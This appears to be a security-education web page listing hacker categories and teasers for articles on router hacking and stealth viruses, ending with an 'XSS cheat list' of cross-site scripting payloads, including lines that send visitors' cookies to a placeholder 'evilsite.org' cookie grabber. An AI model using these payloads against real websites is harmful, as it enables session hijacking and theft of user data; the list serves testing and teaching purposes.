Hackers are categorized into the following classes:

* Black Hat Hackers (Crackers): These are persons who are computer specialists and use their hacking skills to carry out malicious attacks on information systems.
* Gray Hat Hackers: These are persons who sometimes do not break laws and help to defend a network, but sometimes act as Black Hat Hackers.
* White Hat Hackers (Ethical Hackers): These are persons who have excellent computer skills and use their knowledge to secure information systems.
* Security Providing Organizations:
Some organizations and communities also provide security to information systems.

Explore More

Hacking SOHO Routers

The purpose of this paper is to outline the security measures being taken by vendors to prevent such attacks in their home routing products, what those security measures accomplish, and

Read More

What is a stealth virus?

A stealth virus is a file virus. It infects the computer and then hides itself from detection by antivirus software. It uses various mechanisms to avoid detection by antivirus software.

Read More

XSS Cheat List

<script>alert(1);</script> <script>alert('XSS');</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script> <scr<script>ipt>alert('XSS');</scr</script>ipt> <script>alert(String.fromCharCode(88,83,83))</script> <img src=foo.png onerror=alert(/xssed/) /> <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?> <marquee><script>alert('XSS')</script></marquee> <IMG SRC=\"jav&#x09;ascript:alert('XSS');\"> <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\"> <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> "><script>alert(0)</script> <script src=http://yoursite.com/your_files.js></script> </title><script>alert(/xss/)</script> </textarea><script>alert(/xss/)</script>

Read More